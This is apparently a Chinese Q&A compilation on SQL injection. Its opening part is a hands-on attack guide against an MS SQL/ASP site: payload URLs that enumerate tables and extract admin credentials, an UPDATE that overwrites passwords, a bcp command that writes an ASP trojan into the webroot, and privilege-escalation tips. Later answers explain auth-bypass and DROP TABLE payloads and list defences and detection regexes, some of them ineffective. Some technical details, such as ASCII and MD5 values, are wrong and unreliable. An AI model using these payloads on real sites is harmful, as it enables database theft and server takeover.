systemusers,sysuser,sysusers,sysaccounts,systemaccounts等。并通过语句进行判断
http://www.163.com/news.asp?id=xx and (select count(*) from TestDB.dbo.表名)>0 若表名存在,则news.asp工作正常,否则异常。如此循环,直到猜到系统帐号表的名称。
读取法:SQL-SERVER有一个存放系统核心信息的表sysobjects,有关一个库的所有表,视图等信息全部存放在此表中,而且此表可以通过WEB进行访问。
当xtype='U' and status>0代表是用户建立的表,发现并分析每一个用户建立的表及名称,便可以得到用户名表的名称,基本的实现方法是:
①http://www.163.com/news.asp?id=xx and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 )>0
得到第一个用户建立表的名称,并与整数进行比较,显然news.asp工作异常,但在异常中却可以发现表的名称。假设发现的表名是xyz,则
②http://www.163.com/news.asp?id=xx and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 and
name not in('xyz'))>0 可以得到第二个用户建立的表的名称,同理就可得到所有用建立的表的名称。
根据表的名称,一般可以认定那张表用户存放用户名及密码,以下假设此表名为Admin。
c 猜解用户名字段及密码字段名称
admin表中一定有一个用户名字段,也一定有一个密码字段,只有得到此两个字段的名称,才有可能得到此两字段的内容。如何得到它们的名称呢,同样有以下两种方法。
猜解法:此方法就是根据个人的经验猜字段名,一般来说,用户名字段的名称常用:username,name,user,account等。而密码字段的名称常用:password,pass,pwd,passwd等。并通过语句进行判断
http://www.163.com/news.asp?id=xx and (select count(字段名) from TestDB.dbo.admin)>0 “select count(字段名) from 表名”
语句得到表的行数,所以若字段名存在,则news.asp工作正常,否则异常。如此循环,直到猜到两个字段的名称。
读取法:基本的实现方法是
http://www.163.com/news.asp?id=xx and (select top 1 col_name(object_id('admin'),1) from TestDB.dbo.sysobjects)>0 。
select top 1 col_name(object_id('admin'),1) from TestDB.dbo.sysobjects是从sysobjects得到已知表名的第一个字段名,当与整数进行比较,显然news.asp工作异常,但在异常中却可以发现字段的名称。把col_name(object_id('admin'),1)中的1依次换成2,3,4,5,6…就可得到所有的字段名称。
d 猜解用户名与密码
猜用户名与密码的内容最常用也是最有效的方法有:
ASCII码逐字解码法:虽然这种方法速度较慢,但肯定是可行的。基本的思路是先猜出字段的长度,然后依次猜出每一位的值。猜用户名与猜密码的方法相同,以下以猜用户名为例说明其过程。
http://www.163.com/news.asp?id=xx and (select top 1 len(username) from TestDB.dbo.admin)=X(X=1,2,3,4,5,… n,username
为用户名字段的名称,admin为表的名称),若x为某一值i且news.asp运行正常时,则i就是第一个用户名的长度。如:当输入
http://www.163.com/news.asp?id=xx and (select top 1 len(username) from TestDB.dbo.admin)=8时news.asp运行正常,则第一个用户名的长度为8
http://www.163.com/news.asp?id=xx and (select top 1 ascii(substring(username,m,1)) from TestDB.dbo.admin)=n (m的值在1到上一步得到的用户名长度之间,当m=1,2,3,…时猜测分别猜测第1,2,3,…位的值;n的值是1~9、a~z、A~Z的ASCII值,也就是1~128之间的任意值;admin为系统用户帐号表的名称),若n为某一值i且news.asp运行正常时,则i对应ASCII码就是用户名某一位值。如:当输入
http://www.163.com/news.asp?id=xx and (select top 1 ascii(substring(username,3,1)) from TestDB.dbo.admin)=80时news.asp运行正常,则用户名的第三位为P(P的ASCII为80);http://www.163.com/news.asp?id=xx and (select top 1 ascii(substring(username,9,1)) from TestDB.dbo.admin)=33时news.asp运行正常,则用户名的第9位为!(!的ASCII为80);猜到第一个用户名及密码后,同理,可以猜出其他所有用户名与密码。注意:有时得到的密码可能是经MD5等方式加密后的信息,还需要用专用工具进行脱密。或者先改其密码,使用完后再改回来,见下面说明。简单法:猜用户名用http://www.163.com/news.asp?id=xx and (select top 1 flag from TestDB.dbo.admin where username>1) , flag是admin表中的一个字段,username是用户名字段,此时news.asp工作异常,但能得到Username的值。与上同样的方法,可以得到第二用户名,第三个用户等等,直到表中的所有用户名。
猜用户密码:http://www.163.com/news.asp?id=xx and (select top 1 flag from TestDB.dbo.admin where pwd>1) , flag是admin表中的一个字段,pwd是密码字段,此时news.asp工作异常,但能得到pwd的值。与上同样的方法,可以得到第二用户名的密码,第三个用户的密码等等,直到表中的所有用户的密码。密码有时是经MD5加密的,可以改密码。
http://www.163.com/news.asp?id=xx;update TestDB.dbo.admin set pwd=' a0b923820dcc509a' where username='www';-- ( 1的MD5值为:AAABBBCCCDDDEEEF,即把密码改成1;www为已知的用户名)用同样的方法当然可把密码改原来的值。
2、利用表内容导成文件功能
SQL有BCP命令,它可以把表的内容导成文本文件并放到指定位置。利用这项功能,我们可以先建一张临时表,然后在表中一行一行地输入一个ASP木马,然后用BCP命令导出形成ASP文件。
命令行格式如下:
bcp "select * from text..foo" queryout c:\inetpub\wwwroot\163.asp –c –S localhost –U sa –P foobar
('S'参数为执行查询的服务器,'U'参数为用户名,'P'参数为密码,最终上传了一个163.asp的木马)
3、利用工具,如NBSI给出的一些参考数据最重要的表名:
select * from sysobjects
sysobjects ncsysobjects
sysindexes tsysindexes
syscolumns
systypes
sysusers
sysdatabases
sysxlogins
sysprocesses
最重要的一些用户名(默认sql数据库中存在着的)
public
dbo
guest(一般禁止,或者没权限)
db_sercurityadmin
ab_dlladmin
一些默认扩展
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
xp_availablemedia 驱动器相关
xp_dirtree 目录
xp_enumdsn ODBC连接
xp_loginconfig 服务器安全模式信息
xp_makecab 创建压缩卷
xp_ntsec_enumdomains domain信息
xp_terminate_process 终端进程,给出一个PID
(三)、得到系统的管理员权限
ASP木马只有USER权限,要想获取对系统的完全控制,还要有系统的管理员权限。怎么办?提升权限的方法有很多种:
上传木马,修改开机自动运行的.ini文件(它一重启,便死定了);
复制CMD.exe到scripts,人为制造UNICODE漏洞;
下载SAM文件,破解并获取OS的所有用户名密码;
等等,视系统的具体情况而定,可以采取不同的方法。
那么我们怎么防注入呢?程序如下加入到asp或html或php或cgi里面都可以。经过测试。加入如 top.asp文件中开头
方法一:
<%if session("username"="" or session("userkey"="" then
response.redirect "../../"
end if%>
(说明:只要有用户注入则跳转到../../目录,呵呵,看你怎么给我注入)
方法二:
<%
server_v1=Cstr(Request.ServerVariables("HTTP_REFERER")
server_v2=Cstr(Request.ServerVariables("SERVER_NAME")
if mid(server_v1,8,len(server_v2))<>server_v2 then
response.write "<br><br><center><table border=1 cellpadding=20 bordercolor=black bgcolor=#EEEEEE width=450>"
response.write "<tr><td style=“font:9pt Verdana">"
response.write "你提交的路径有误,禁止从站点外部提交数据请不要乱该参数!"
response.write "</td></tr></table></center>"
response.end
end if
%>
(说明:只要有用户注入则判断为外部连接哦,呵呵,看你怎么给我注入)
方法三:
<% dim From_url,Serv_url
From_url = Cstr(Request.ServerVariables("HTTP_REFERER")
Serv_url = Cstr(Request.ServerVariables("SERVER_NAME")
if mid(From_url,8,len(Serv_url)) <> Serv_url then
response.write "NO"
response.redirect("../"
response.end
end if%>
⑸ 关于SQL注入。
SQL注入原理深度解析作者:admin 文章来源:转载 点击数:699 更新时间:2008-8-29 -------------------------------------------------------------------------------- 对于Web应用来说,注射式攻击由来已久,攻击方式也五花八门,常见的攻击方式有SQL注射、命令注射以及新近才出现的XPath注射等等。本文将以SQL注射为例,在源码级对其攻击原理进行深入的讲解。 一、注射式攻击的原理 注射式攻击的根源在于,程序命令和用户数据(即用户输入)之间没有做到泾渭分明。这使得攻击者有机会将程序命令当作用户输入的数据提交给We程序,以发号施令,为所欲为。 为了发动注射攻击,攻击者需要在常规输入中混入将被解释为命令的“数据”,要想成功,必须要做三件事情: 1.确定Web应用程序所使用的技术 注射式攻击对程序设计语言或者硬件关系密切,但是这些可以通过适当的踩点或者索性将所有常见的注射式攻击都搬出来逐个试一下就知道了。为了确定所采用的技术,攻击者可以考察Web页面的页脚,查看错误页面,检查页面源代码,或者使用诸如Nessus等工具来进行刺探。 2.确定所有可能的输入方式 Web应用的用户输入方式比较多,其中一些用户输入方式是很明显的,如HTML表单;另外,攻击者可以通过隐藏的HTML表单输入、HTTP头部、cookies、甚至对用户不可见的后端AJAX请求来跟Web应用进行交互。一般来说,所有HTTP的GET和POST都应当作用户输入。为了找出一个Web应用所有可能的用户输入,我们可以求助于Web代理,如Burp等。 3.查找可以用于注射的用户输入 在找出所有用户输入方式后,就要对这些输入方式进行筛选,找出其中可以注入命令的那些输入方式。这个任务好像有点难,但是这里有一个小窍门,那就是多多留意Web应用的错误页面,很多时候您能从这里得到意想不到的收获。 二、SQL注射原理 上面对注射攻击做了一般性的解释,下面我们以SQL注射为例进行讲解,以使读者对注射攻击有一个感性的认识,至于其他攻击,原理是一致的。 SQL注射能使攻击者绕过认证机制,完全控制远程服务器上的数据库。SQL是结构化查询语言的简称,它是访问数据库的事实标准。目前,大多数Web应用都使用SQL数据库来存放应用程序的数据。几乎所有的Web应用在后台都使用某种SQL数据库。跟大多数语言一样,SQL语法允许数据库命令和用户数据混杂在一起的。如果开发人员不细心的话,用户数据就有可能被解释成命令,这样的话,远程用户就不仅能向Web应用输入数据,而且还可以在数据库上执行任意命令了。 三、绕过用户认证 我们这里以一个需要用户身份认证的简单的Web应用程序为例进行讲解。假定这个应用程序提供一个登录页面,要求用户输入用户名和口令。用户通过HTTP请求发送他们的用户名和口令,之后,Web应用程序检查用户传递来用户名和口令跟数据库中的用户名和口令是否匹配。这种情况下,会要求在SQL数据库中使用一个数据库表。开发人员可以通过以下SQL语句来创建表: CREATETABLEuser_table( idINTEGERPRIMARYKEY, usernameVARCHAR(32), passwordVARCHAR(41) ); 上面的SQL代码将建立一个表,该表由三栏组成。第一栏存放的是用户ID,如果某人经过认证,则用此标识该用户。第二栏存放的是用户名,该用户名最多由32字符组成。第三栏存放的是口令,它由用户的口令的hash值组成,因为以明文的形式来存放用户的口令实在太危险,所以通常取口令的散列值进行存放。我们将使用SQL函数PASSWORD()来获得口令的hash值,在MySQL中,函数PASSWORD()的输出由41字符组成。 对一个用户进行认证,实际上就是将用户的输入即用户名和口令跟表中的各行进行比较,如果跟某行中的用户名和口令跟用户的输入完全匹配,那么该用户就会通过认证,并得到该行中的ID。假如用户提供的用户名和口令分别为lonelynerd15和mypassword,那么检查用户ID过程如下所示: SELECTidFROMuser_tableWHEREusername='lonelynerd15'ANDpassword=PASSWORD('mypassword') 如果该用户位于数据库的表中,这个SQL命令将返回该用户相应的ID,这就意味着该用户通过了认证;否则,这个SQL命令的返回为空,这意味着该用户没有通过认证。 下面是用来实现自动登录的Java代码,它从用户那里接收用户名和口令,然后通过一个SQL查询对用户进行认证: Stringusername=req.getParameter("username"); Stringpassword=req.getParameter("password"); Stringquery="SELECTidFROMuser_tableWHERE"+ "username='"+username+"'AND"+ "password=PASSWORD('"+password+"')"; ResultSetrs=stmt.executeQuery(query); intid=-1;//-. while(rs.next()){ id=rs.getInt("id"); } 开头两行代码从HTTP请求中取得用户输入,然后在下一行开始构造一个SQL查询。执行查询,然后在while()循环中得到结果,如果一个用户名和口令对匹配,就会返回正确的ID。否则,id的值仍然为-1,这意味着用户没有通过认证。表面上看,如果用户名和口令对匹配,那么该用户通过认证;否则,该用户不会通过认证——但是,事实果真如此吗?非也!读者也许已经注意到了,这里并没有对SQL命令进行设防,所以攻击者完全能够在用户名或者口令字段中注入SQL语句,从而改变SQL查询。为此,我们仔细研究一下上面的SQL查询字符串: Stringquery="SELECTidFROMuser_tableWHERE"+ "username='"+username+"'AND"+ "password=PASSWORD('"+password+"')"; 上述代码认为字符串username和password都是数据,不过,攻击者却可以随心所欲地输入任何字符。如果一位攻击者输入的用户名为 ’OR1=1— 而口令为 x 那么查询字符串将变成下面的样子: SELECTidFROMuser_tableWHEREusername=''OR1=1--'ANDpassword =PASSWORD('x') 该双划符号--告诉SQL解析器,右边的东西全部是注释,所以不必理会。这样,查询字符串相当于: SELECTidFROMuser_tableWHEREusername=''OR1=1 如今的SELECT语句跟以前的已经大相径庭了,因为现在只要用户名为长度为零的字符串''或1=1这两个条件中一个为真,就返回用户标识符ID——我们知道,1=1是恒为真的。所以这个语句将返回user_table中的所有ID。在此种情况下,攻击者在username字段放入的是SQL指令'OR1=1--而非数据。 四、构造SQL注射代码 为了成功地注入SQL命令,攻击者必须将开发人员的现有SQL命令转换成一个合法的SQL语句,当然,要盲注是有些难度的,但一般都是这样: 'OR1=1– 或者 ')OR1=1-- 此外,许多Web应用提供了带来错误报告和调试信息,例如,利用'OR1=1--对Web应用进行盲注时,经常看到如下所示的错误信息: Errorexecutingquery:YouhaveanerrorinyourSQLsyntax;tousenear'SELECT(title,body)FROMblog_tableWHEREcat='OR1=1'atline1 该错误信息详细地为我们展示了完整的SQL语句,在此种情况下,SQL数据库所期待的好象是一个整数,而非字符串,所以可以注入字符串OR1=1--,把单引号去掉就应该能成功注入了。对于大多数SQL数据库,攻击者可以在一行中放入多个SQL语句,只要各个语句的语法没有错误就行。在下面的代码中,我们展示了如何将username设为'OR1=1并把password设为x来返回最后的用户ID: Stringquery="SELECTidFROMuser_tableWHERE"+ "username='"+username+"'AND"+ "password=PASSWORD('"+password+"')"; 当然,攻击者可以注入其它的查询,例如,把username设为: 'OR1=1;DROPTABLEuser_table;-- 而这个查询将变成: SELECTidFROMuser_tableWHEREusername=''OR1=1;DROPTABLEuser_table;--'ANDpassword=PASSWORD('x'); 它相当于: SELECTidFROMuser_tableWHEREusername=''OR1=1;DROPTABLEuser_table; 这个语句将执行句法上完全正确的SELECT语句,并利用SQLDROP命令清空user_table。 注射式攻击不必非要进行盲式攻击,因为许多Web应用是利用开放源代码工具开发的,为了提高注射式攻击的成功率,我们可以下载免费的或者产品的试用版,然后在自己的系统上搭建测试系统。如果在测试系统上发现了错误,那么很可能同样的问题也会存在于所有使用该工具的Web应用身上。 五、小结 我们在本文中向读者介绍了注射攻击的根本原因,即没有对数据和命令进行严格区分。然后通过一些程序源码对SQL的攻击进行了细致的分析,使我们对SQL注射机理有了一个深入的认识。如果您是一名web应用开发人员,那么您就当心了,一定不要盲目相信用户端的输入,而要对用户输入的数据进行严格的“消毒”处理,否则的话,SQL注射将会不期而至。 【51CTO.COM 独家特稿,转载请注明出处及作者!】 本篇文章来源于 新世纪网安基地 (www.520hack.com) 原文出处: http://www.520hack.com/Article/Text5/server/200808/11251.html 详细吧。。 求给分额!
⑹ 轻松理解什么是 SQL 注入
所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存储过程的输入参数,这类表单特别容易受到SQL注入式攻击。
举个简单的例子:
从理论上说,一个验证用户名和密码的功能,会有如下的SQL语句:
String sql = "select * from user_table where username=
' "+userName+" ' and password=' "+password+" '";
然后在这个语句的username=”后面注入 or 1=1 用户名等于 ” 或1=1 这个条件,上面的SQL语句变成:
SELECT * FROM user_table WHERE username=
'’or 1 = 1 -- and password='’
那么不用输入用户名和密码,就可以登陆了。
⑺ 什么是sql注入,如何防止sql注入
SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.
SQL注入攻击实例:
比如在一个登录界面,要求输入用户名和密码:
可以这样输入实现免帐号登录:
用户名: ‘or 1 = 1 –
密 码:
点登陆,如若没有做特殊处理,那么这个非法用户就很得意的登陆进去了.(当然现在的有些语言的数据库API已经处理了这些问题)
这是为什么呢? 下面我们分析一下:
从理论上说,后台认证程序中会有如下的SQL语句:
String sql = "select * from user_table where username=
' "+userName+" ' and password=' "+password+" '";
当输入了上面的用户名和密码,上面的SQL语句变成:
SELECT * FROM user_table WHERE username=
'’or 1 = 1 -- and password='’
分析SQL语句:
条件后面username=”or 1=1 用户名等于 ” 或1=1 那么这个条件一定会成功;
然后后面加两个-,这意味着注释,它将后面的语句注释,让他们不起作用,这样语句永远都能正确执行,用户轻易骗过系统,获取合法身份。
这还是比较温柔的,如果是执行
SELECT * FROM user_table WHERE
username='' ;DROP DATABASE (DB Name) --' and password=''
….其后果可想而知…
防SQL注入:
下面我针对JSP,说一下应对方法:
1.(简单又有效的方法)PreparedStatement
采用预编译语句集,它内置了处理SQL注入的能力,只要使用它的setXXX方法传值即可。
使用好处:
(1).代码的可读性和可维护性.
(2).PreparedStatement尽最大可能提高性能.
(3).最重要的一点是极大地提高了安全性.
原理:
sql注入只对sql语句的准备(编译)过程有破坏作用
而PreparedStatement已经准备好了,执行阶段只是把输入串作为数据处理,
而不再对sql语句进行解析,准备,因此也就避免了sql注入问题.
2.使用正则表达式过滤传入的参数
要引入的包:
import java.util.regex.*;
正则表达式:
private String CHECKSQL = “^(.+)\sand\s(.+)|(.+)\sor(.+)\s$”;
判断是否匹配:
Pattern.matches(CHECKSQL,targerStr);
下面是具体的正则表达式:
检测SQL meta-characters的正则表达式 :
/(\%27)|(’)|(--)|(\%23)|(#)/ix
修正检测SQL meta-characters的正则表达式 :/((\%3D)|(=))[^ ]*((\%27)|(’)|(--)|(\%3B)|(:))/i
典型的SQL 注入攻击的正则表达式 :/w*((\%27)|(’))((\%6F)|o|(\%4F))((\%72)|r|(\%52))/ix
检测SQL注入,UNION查询关键字的正则表达式 :/((\%27)|(’))union/ix(\%27)|(’)
检测MS SQL Server SQL注入攻击的正则表达式:
/exec(s|+)+(s|x)pw+/ix
等等…..
3.字符串过滤
比较通用的一个方法:
(||之间的参数可以根据自己程序的需要添加)
publicstaticbooleansql_inj(Stringstr)
{
Stringinj_str="'|and|exec|insert|select|delete|update|
count|*|%|chr|mid|master|truncate|char|declare|;|or|-|+|,";
Stringinj_stra[]=split(inj_str,"|");
for(inti=0;i<inj_stra.length;i++)
{
if(str.indexOf(inj_stra[i])>=0)
{
returntrue;
}
}
returnfalse;
}
⑻ 什么是SQL注入
通俗的说,就是攻击者想不经过主人的同意,就获取你的数据库里面的数据,首先打开想要攻击的动态网页,在网页输入地址栏里面,直接输入SQL的命令,回车,就可以访问到数据库里的数据。
这样SQL命令通过网页的地址栏,跟着网页地址一起被提交到表单,就叫SQL注入。
⑼ sql注入是怎么弄的
举个例子,一个用户登录过程是:用户输入账号paraUserName、密码后提交paraPassword,后台验证sql一般是:
select user_name from user_table where user_name='"+paraUserName+"' and password='"+paraPassword+"'";
这条语句就存在sql注入漏洞,试想如果用户输入的帐号是123' or 1=1 --,带入sql后变成了:
select user_name from user_table where user_name='123' or 1=1 --'and password='"+paraPassword+"'";
这条语句执行起来是不需要账号和密码,直接能够验证通过并登陆成功。